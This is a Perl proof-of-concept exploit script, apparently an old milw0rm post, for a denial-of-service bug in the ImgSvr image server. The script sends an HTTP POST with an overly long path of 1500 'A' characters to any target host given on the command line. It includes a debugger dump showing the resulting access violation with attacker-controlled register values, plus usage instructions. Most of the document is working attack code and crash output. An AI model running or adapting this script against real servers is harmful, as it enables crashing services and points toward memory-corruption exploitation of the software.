49 lines
No EOL
1.9 KiB
Perl
Executable file
49 lines
No EOL
1.9 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
##Proof of concept.
|
|
#################################################################################
|
|
#Credit's:to n00b for finding this bug.
|
|
#
|
|
#Afected :ImgSvr.exe
|
|
#
|
|
#Download softwear: http://freshmeat.net/projects/imgsvr/
|
|
#
|
|
#Crash the server with overly long http post request..
|
|
#
|
|
#Main site of affected product. http://freshmeat.net/projects/imgsvr/
|
|
#Sending an overly long post request will crash the server with the following.
|
|
#Acsess violation..
|
|
#Tested :win xp sp1..
|
|
#
|
|
#error:500 Server closed connection without sending any data back
|
|
#this is a error msg will receive on successful exploitation.
|
|
#################################################################################
|
|
##(e7c.168): Access violation - code c0000005 (first chance)
|
|
# First chance exceptions are reported before any exception handling.
|
|
# This exception may be expected and handled.
|
|
# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000
|
|
# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0 nv up ei pl nz na po nc
|
|
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
|
|
# *** WARNING: Unable to verify checksum for C:\Program Files\Imgsvr\imgsvr.exe
|
|
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Imgsvr\imgsvr.exe
|
|
# imgsvr+0x2bf546:
|
|
# 006bf546 881c30 mov [eax+esi],bl ds:0023:82828283=??
|
|
###################################################################################
|
|
#
|
|
# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235
|
|
###################################################################################
|
|
|
|
|
|
use LWP::UserAgent;
|
|
$ua = LWP::UserAgent->new;
|
|
|
|
my $host = shift or die("insert a target");
|
|
|
|
my $req = HTTP::Request->new(POST => "http://$host:80/" . A x 1500);
|
|
|
|
$req->content_type('application/x-www-form-urlencoded');
|
|
$req->content('match=www&errors=0');
|
|
|
|
my $res = $ua->request($req);
|
|
print $res->as_string;
|
|
|
|
# milw0rm.com [2006-07-04] |